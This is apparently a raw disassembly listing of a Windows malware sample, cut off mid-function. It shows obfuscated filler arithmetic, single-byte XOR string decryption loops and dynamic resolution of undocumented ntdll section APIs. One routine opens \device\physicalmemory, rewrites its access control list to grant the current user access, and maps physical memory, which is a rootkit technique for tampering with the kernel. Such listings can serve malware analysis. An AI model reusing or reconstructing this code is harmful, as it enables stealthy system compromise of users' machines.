		push	dword ptr [ebp+8]
		mov	eax, dword_43C28C
		lea	eax, ds:4340E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 38Eh
		xor	edi, edi
		jmp	short loc_401A34
; ---------------------------------------------------------------------------

loc_401A1D:				; CODE XREF: .text:00401A36j
		mov	eax, dword_43C28C
		add	eax, edi
		lea	eax, ds:4340E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 76h
		mov	[eax], dl
		inc	edi

loc_401A34:				; CODE XREF: .text:00401A1Bj
		cmp	edi, esi
		jl	short loc_401A1D
		mov	dword ptr [ebp-0Ch], 3E6h
		mov	eax, dword_43C28C
		add	eax, esi
		mov	byte ptr ds:dword_4340E0[eax], 0
		mov	edi, dword_43C28C
		mov	eax, edi
		lea	eax, [eax+esi+5]
		mov	dword_43C28C, eax
		cmp	eax, 0DD0h
		jle	short loc_401A6D
		and	dword_43C28C, 0

loc_401A6D:				; CODE XREF: .text:00401A64j
		mov	dword ptr [ebp-10h], 1E0h
		lea	eax, dword_4340E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A7E	proc near		; CODE XREF: sub_4054C8+51p
					; sub_4061F7+4B2p ...

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C3h
		add	[ebp+var_1], 29h
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40C8CC	; CreateFileA
		mov	edi, eax
		call	sub_40C734	; GetCurrentProcessId
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401ACF
		mov	ax, word_43C290
		mov	[ebp+var_E], ax
		cmp	[ebp+arg_4], 0
		jz	short loc_401ACB
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0

loc_401ACB:				; CODE XREF: sub_401A7E+45j
		xor	eax, eax
		jmp	short loc_401B1C
; ---------------------------------------------------------------------------

loc_401ACF:				; CODE XREF: sub_401A7E+35j
		push	0
		push	edi
		call	sub_40C74C	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_401AFB
		mov	eax, [ebp+arg_4]
		mov	[ebp-10h], eax
		jmp	short loc_401B01
; ---------------------------------------------------------------------------

loc_401AFB:				; CODE XREF: sub_401A7E+73j
		lea	eax, [ebp+var_8]
		mov	[ebp-10h], eax

loc_401B01:				; CODE XREF: sub_401A7E+7Bj
		push	dword ptr [ebp-10h]
		push	esi
		push	ebx
		push	edi
		call	sub_40C8A8	; ReadFile
		mov	eax, dword_43C292
		mov	[ebp+var_C], eax
		push	edi
		call	sub_40C7AC	; CloseHandle
		mov	eax, ebx

loc_401B1C:				; CODE XREF: sub_401A7E+4Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401A7E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C2A0
		lea	eax, ds:410820h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401B5E
; ---------------------------------------------------------------------------

loc_401B47:				; CODE XREF: .text:00401B60j
		mov	eax, dword_43C2A0
		add	eax, edi
		lea	eax, ds:410820h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 5Fh
		mov	[eax], dl
		inc	edi

loc_401B5E:				; CODE XREF: .text:00401B45j
		cmp	edi, esi
		jl	short loc_401B47
		mov	dword ptr [ebp-4], 0D0h
		mov	eax, dword_43C2A0
		add	eax, esi
		mov	byte ptr ds:dword_410820[eax], 0
		xor	edi, edi
		mov	edi, dword_43C2A0
		add	dword_43C2A0, 3
		mov	eax, dword_43C2A0
		inc	eax
		add	eax, esi
		mov	dword_43C2A0, eax
		inc	dword_43C2A0
		cmp	dword_43C2A0, 0E06h
		jle	short loc_401BAD
		and	dword_43C2A0, 0

loc_401BAD:				; CODE XREF: .text:00401BA4j
		lea	eax, dword_410820[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BB7	proc near		; CODE XREF: sub_4054C8+690p
					; sub_4098A8+FD2p

var_D		= byte ptr -0Dh
var_5		= byte ptr -5
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_43C2A4
		mov	[ebp+var_4], ax
		mov	[ebp+var_2], 74D3h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		mov	ebx, [ebp+arg_4]
		jmp	short loc_401C1E
; ---------------------------------------------------------------------------

loc_401BE3:				; CODE XREF: sub_401BB7+6Ej
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0Dh
		jnz	short loc_401C1D
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	edx, ebx
		sub	edx, eax
		push	edx
		mov	edx, [ebp+arg_0]
		add	edx, eax
		push	edx
		push	[ebp+arg_8]
		call	sub_40CC14
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx+eax], 0
		mov	eax, ebx
		add	eax, 2
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------

loc_401C1D:				; CODE XREF: sub_401BB7+33j
		inc	ebx

loc_401C1E:				; CODE XREF: sub_401BB7+2Aj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401BE3
		cmp	[ebp+arg_4], 0
		jz	short loc_401C5F
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401C5F
		mov	eax, ebx
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0Ah
		jnz	short loc_401C5F
		mov	[ebp+var_5], 4
		movzx	eax, [ebp+var_5]
		imul	eax, 11ACh
		mov	[ebp+var_5], al
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		inc	eax
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------

loc_401C5F:				; CODE XREF: sub_401BB7+74j
					; sub_401BB7+7Dj ...
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_40C95C	; lstrlen
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401C9A
		mov	[ebp+var_5], 2
		add	[ebp+var_5], 1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	sub_40C6D8
		lea	edi, [ebp+var_D]
		lea	esi, aFqgcpb	; "FqGcPB:"
		movsd
		movsd
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------

loc_401C9A:				; CODE XREF: sub_401BB7+B8j
		xor	eax, eax

loc_401C9C:				; CODE XREF: sub_401BB7+64j
					; sub_401BB7+A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401BB7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C2B8
		lea	eax, ds:437350h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 319h
		xor	edi, edi
		jmp	short loc_401CE8
; ---------------------------------------------------------------------------

loc_401CCE:				; CODE XREF: .text:00401CEAj
		mov	eax, dword_43C2B8
		add	eax, edi
		lea	eax, ds:437350h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F1h
		mov	[eax], dl
		inc	edi

loc_401CE8:				; CODE XREF: .text:00401CCCj
		cmp	edi, esi
		jl	short loc_401CCE
		mov	eax, dword_43C2B8
		add	eax, esi
		mov	byte ptr ds:dword_437350[eax], 0
		mov	edi, dword_43C2B8
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43C2B8, eax
		add	dword_43C2B8, 2
		cmp	dword_43C2B8, 0DB0h
		jle	short loc_401D27
		and	dword_43C2B8, 0

loc_401D27:				; CODE XREF: .text:00401D1Ej
		lea	eax, dword_437350[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D31	proc near		; CODE XREF: sub_402843+93p

var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 15C6h
		add	[ebp+var_4], 325Fh
		inc	dword_43C230
		mov	ax, word_43C2BC
		mov	[ebp+var_A], ax
		mov	ebx, [ebp+arg_0]
		and	ds:dword_40E07C, 0
		and	ds:dword_41E8B8, 0
		and	ds:dword_41E9D0, 0
		and	ds:dword_40F1D0, 0
		mov	ds:dword_41B7A4, 4
		mov	ds:dword_41507C, 4

loc_401D8B:				; CODE XREF: sub_401D31+122j
					; sub_401D31+14Fj ...
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_415078,	al
		movzx	eax, ds:byte_415078
		or	eax, eax
		jl	loc_402002
		cmp	eax, 0FFh
		jg	loc_402002
		jmp	off_43C2CC[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C740	; GetCurrentThreadId

loc_401DBB:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230

loc_401DCD:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ebx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_1C], eax
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401DE8:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		or	byte ptr ds:dword_41E8B8, 40h
		test	byte ptr [ebx],	38h
		jnz	loc_402002

loc_401DF8:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C2DCo ...
		test	ds:byte_415078,	1
		jz	short loc_401E11
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401E11:				; CODE XREF: sub_401D31+CEj
		inc	ds:dword_41E9D0
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401E1C:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		inc	ds:dword_41E9D0
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230

loc_401E2D:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C364o ...
		test	byte ptr ds:dword_41E8B8, 10h
		jz	short loc_401E3D
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_401E3D:				; CODE XREF: sub_401D31+103j
		call	sub_40C794	; GetProcessHeap
		or	byte ptr ds:dword_41E8B8, 10h
		mov	al, ds:byte_415078
		mov	ds:byte_40F1DC,	al
		jmp	loc_401D8B
; ---------------------------------------------------------------------------

loc_401E58:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		test	byte ptr ds:dword_41E8B8, 4
		jz	short loc_401E68
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_401E68:				; CODE XREF: sub_401D31+12Ej
		lea	edi, [ebp+var_18]
		lea	esi, aQ8abz	; "Q8az"
		mov	ecx, 3
		rep movsw
		or	byte ptr ds:dword_41E8B8, 4
		jmp	loc_401D8B
; ---------------------------------------------------------------------------

loc_401E85:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		test	byte ptr ds:dword_41E8B8, 8
		jz	short loc_401E95
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_401E95:				; CODE XREF: sub_401D31+15Bj
		call	sub_40C7D0	; GetVersion
		or	byte ptr ds:dword_41E8B8, 8
		mov	al, ds:byte_415078
		mov	ds:byte_41FB00,	al
		jmp	loc_401D8B
; ---------------------------------------------------------------------------

loc_401EB0:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C464o
		test	byte ptr ds:dword_41E8B8, 1
		jz	short loc_401EC0
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_401EC0:				; CODE XREF: sub_401D31+186j
		or	byte ptr ds:dword_41E8B8, 1
		mov	ds:dword_41B7A4, 2
		jmp	loc_401D8B
; ---------------------------------------------------------------------------

loc_401ED6:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C468o
		test	byte ptr ds:dword_41E8B8, 2
		jz	short loc_401EE6
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_401EE6:				; CODE XREF: sub_401D31+1ACj
		mov	[ebp+var_12], 2BC6h
		sub	[ebp+var_12], 1A0Bh
		or	byte ptr ds:dword_41E8B8, 2
		mov	ds:dword_41507C, 2
		jmp	loc_401D8B
; ---------------------------------------------------------------------------
		inc	dword_43C230

loc_401F0E:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		inc	ds:dword_41E9D0
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401F20:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401F37:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41B7A4
		add	eax, 2
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401F4A:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41507C
		add	ds:dword_40F1D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230

loc_401F70:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		add	ds:dword_41E9D0, 2
		jmp	loc_402002
; ---------------------------------------------------------------------------

loc_401F7C:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		add	ds:dword_41E9D0, 3
		jmp	short loc_402002
; ---------------------------------------------------------------------------

loc_401F85:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_401F8C:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C308o
		or	byte ptr ds:dword_41E8B8, 20h
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42FB10,	al
		movzx	eax, ds:byte_42FB10
		or	eax, eax
		jl	short loc_401FFB
		cmp	eax, 0Bh
		jg	short loc_401FB4
		jmp	off_43C6CC[eax*4]
; ---------------------------------------------------------------------------

loc_401FB4:				; CODE XREF: sub_401D31+27Aj
		cmp	eax, 80h
		jl	short loc_401FFB
		cmp	eax, 0CFh
		jg	short loc_401FFB
		jmp	off_43C4FC[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C734	; GetCurrentProcessId

loc_401FCE:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	short loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230
		jmp	short loc_402002
; ---------------------------------------------------------------------------

loc_401FDF:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		jmp	short loc_402002
; ---------------------------------------------------------------------------

loc_401FEC:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		inc	ds:dword_41E9D0
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	short loc_402002
; ---------------------------------------------------------------------------

loc_401FFB:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+275j ...
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------

loc_402002:				; CODE XREF: sub_401D31+6Dj
					; sub_401D31+78j ...
		inc	dword_43C230
		test	byte ptr ds:dword_41E8B8, 40h
		jz	loc_40210E
		lea	edi, [ebp+var_1C+2]
		lea	esi, aIh	; ">%<Ih"
		mov	ecx, 3
		rep movsw
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_430C2C,	al
		mov	[ebp+var_12], 46D1h
		sub	[ebp+var_12], 49BDh
		movzx	eax, ds:byte_430C2C
		and	eax, 0C0h
		mov	[ebp+var_13], al
		movzx	eax, ds:byte_430C2C
		and	eax, 7
		mov	[ebp+var_14], al
		movzx	eax, [ebp+var_13]
		cmp	eax, 0C0h
		jz	loc_40210E
		call	sub_40C794	; GetProcessHeap
		cmp	[ebp+var_13], 40h
		jnz	short loc_402078
		inc	ds:dword_40F1D0

loc_402078:				; CODE XREF: sub_401D31+33Fj
		mov	byte ptr [ebp+var_1C+1], 69h
		add	byte ptr [ebp+var_1C+1], 1
		movzx	eax, [ebp+var_13]
		cmp	eax, 80h
		jnz	short loc_402096
		mov	eax, ds:dword_41507C
		add	ds:dword_40F1D0, eax

loc_402096:				; CODE XREF: sub_401D31+358j
		call	sub_40C734	; GetCurrentProcessId
		cmp	ds:dword_41507C, 2
		jnz	short loc_4020C1
		mov	byte ptr [ebp+var_1C], 71h
		add	byte ptr [ebp+var_1C], 25h
		cmp	[ebp+var_13], 0
		jnz	short loc_40210E
		cmp	[ebp+var_14], 6
		jnz	short loc_40210E
		add	ds:dword_40F1D0, 2
		jmp	short loc_40210E
; ---------------------------------------------------------------------------

loc_4020C1:				; CODE XREF: sub_401D31+371j
		mov	[ebp+var_1E], 61CBh
		sub	[ebp+var_1E], 7700h
		cmp	[ebp+var_14], 4
		jnz	short loc_4020FB
		call	sub_40C734	; GetCurrentProcessId
		or	byte ptr ds:dword_41E8B8, 80h
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_41B7A0,	al
		movzx	eax, ds:byte_41B7A0
		and	eax, 7
		mov	[ebp+var_14], al

loc_4020FB:				; CODE XREF: sub_401D31+3A0j
		cmp	[ebp+var_14], 5
		jnz	short loc_40210E
		cmp	[ebp+var_13], 0
		jnz	short loc_40210E
		add	ds:dword_40F1D0, 4

loc_40210E:				; CODE XREF: sub_401D31+2DEj
					; sub_401D31+330j ...
		and	ds:dword_40F1D4, 0
		jmp	short loc_40212F
; ---------------------------------------------------------------------------

loc_402117:				; CODE XREF: sub_401D31+409j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F1D4
		mov	al, [eax]
		mov	ds:byte_415070[edx], al
		inc	ds:dword_40F1D4

loc_40212F:				; CODE XREF: sub_401D31+3E4j
		mov	eax, ds:dword_40F1D0
		cmp	ds:dword_40F1D4, eax
		jb	short loc_402117
		mov	[ebp+var_6], 1644h
		sub	[ebp+var_6], 0C83h
		and	ds:dword_40F1D4, 0
		jmp	short loc_402169
; ---------------------------------------------------------------------------

loc_402151:				; CODE XREF: sub_401D31+443j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F1D4
		mov	al, [eax]
		mov	ds:byte_43A560[edx], al
		inc	ds:dword_40F1D4

loc_402169:				; CODE XREF: sub_401D31+41Ej
		mov	eax, ds:dword_41E9D0
		cmp	ds:dword_40F1D4, eax
		jb	short loc_402151
		mov	[ebp+var_8], 2887h
		add	[ebp+var_8], 1636h
		inc	dword_43C230
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	ds:dword_40E07C, eax
		xor	eax, eax
		inc	eax

loc_402195:				; CODE XREF: sub_401D31+107j
					; sub_401D31+132j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401D31	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 1EAh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43CF34
		lea	eax, ds:4186C0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4021E2
; ---------------------------------------------------------------------------

loc_4021C8:				; CODE XREF: .text:004021E4j
		mov	eax, dword_43CF34
		add	eax, edi
		lea	eax, ds:4186C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D3h
		mov	[eax], dl
		inc	edi

loc_4021E2:				; CODE XREF: .text:004021C6j
		cmp	edi, esi
		jl	short loc_4021C8
		mov	dword ptr [ebp-8], 278h
		mov	eax, dword_43CF34
		add	eax, esi
		mov	byte ptr ds:dword_4186C0[eax], 0
		mov	edi, dword_43CF34
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43CF34, eax
		cmp	eax, 0DCEh
		jle	short loc_40221C
		and	dword_43CF34, 0

loc_40221C:				; CODE XREF: .text:00402213j
		lea	eax, dword_4186C0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402226	proc near		; CODE XREF: sub_402A48+15p

var_4		= word ptr -4
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C6h
		sub	[ebp+var_1], 4Eh
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_40C77C	; GetModuleHandleA
		mov	edi, eax
		mov	esi, 3E55h
		add	esi, 765Dh
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_430C24, eax
		call	sub_40C7C4	; GetTickCount
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_41D8A0, eax
		push	offset aNtopensection ;	"NtOpenSection"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_41B7AC, eax
		mov	esi, 3B63h
		sub	esi, 2C1Bh
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_41E8C8, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_430C20, eax
		mov	[ebp+var_4], 23Ah
		sub	[ebp+var_4], 4D70h
		pop	edi
		pop	esi
		leave
		retn
sub_402226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022BB	proc near		; CODE XREF: sub_402A48+172p

var_72		= dword	ptr -72h
var_6E		= byte ptr -6Eh
var_6D		= dword	ptr -6Dh
var_69		= byte ptr -69h
var_60		= byte ptr -60h
var_56		= word ptr -56h
var_53		= byte ptr -53h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	ebx
		push	esi
		push	edi
		call	sub_40C794	; GetProcessHeap
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_60]
		push	eax
		call	ds:dword_430C24
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_18], 18h
		mov	ebx, 752Bh
		inc	ebx
		and	[ebp+var_14], 0
		mov	[ebp+var_53], 2Bh
		add	[ebp+var_53], 1
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_C], 40h
		mov	[ebp+var_56], 683Eh
		inc	[ebp+var_56]
		and	[ebp+var_8], 0
		lea	edi, [ebp+var_69]
		lea	esi, byte_43CFE6
		xor	ecx, ecx
		inc	ecx
		rep movsb
		and	[ebp+var_4], 0
		call	sub_40C7D0	; GetVersion
		and	[ebp+var_30], 0
		mov	eax, dword_43CFE7
		mov	[ebp+var_6D], eax
		and	[ebp+var_2C], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], 1
		call	sub_40C794	; GetProcessHeap
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		lea	edi, [ebp+var_6E]
		lea	esi, byte_43CFEB
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	[ebp+var_50], 2
		mov	eax, dword_43CFEC
		mov	[ebp+var_72], eax
		mov	[ebp+var_4C], 1
		mov	ebx, 206Fh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		and	[ebp+var_48], 0
		lea	edi, [ebp+var_44]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		mov	[ebp+var_52], 7B38h
		movzx	eax, [ebp+var_52]
		mov	edx, eax
		add	edx, eax
sub_4022BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4023A7	proc near		; DATA XREF: sub_4403F5+2Fo
		mov	eax, edx
		mov	[ebp-52h], ax
		lea	eax, [ebp-18h]
		push	eax
		push	60000h
		lea	eax, [ebp-1Ch]
		push	eax
		call	ds:dword_41B7AC
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp-78h]
		push	eax
		push	0
		lea	eax, [ebp-64h]
		push	eax
		push	0
		push	0
		push	4
		push	6
		push	dword ptr [ebp-1Ch]
		call	sub_40CB78	; GetSecurityInfo
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp-68h]
		push	eax
		push	dword ptr [ebp-64h]
		lea	eax, [ebp-50h]
		push	eax
		mov	eax, 0Bh
		sub	eax, dword_43CF30
		push	eax
		call	sub_40CB90	; SetEntriesInAclA
		call	sub_40C7C4	; GetTickCount
		push	0
		push	dword ptr [ebp-68h]
		push	0
		push	0
		push	4
		push	6
		push	dword ptr [ebp-1Ch]
		call	sub_40CB84	; SetSecurityInfo
		call	sub_40C734	; GetCurrentProcessId
		push	dword ptr [ebp-1Ch]
		call	sub_40C7AC	; CloseHandle
		lea	eax, [ebp-18h]
		push	eax
		push	dword ptr [ebp-50h]
		lea	eax, [ebp-1Ch]
		push	eax
		call	ds:dword_41B7AC
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp-1Ch]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402445	proc near		; CODE XREF: sub_402A48+230p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		and	[ebp+var_8], 0
		mov	[ebp+var_A], 3ABh
		add	[ebp+var_A], 6ED8h
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_B], 23h
		add	[ebp+var_B], 1
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_4]
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:dword_41E8C8
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp+var_8]
		leave
		retn
sub_402445	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024A8	proc near		; CODE XREF: sub_402A48+31Ap

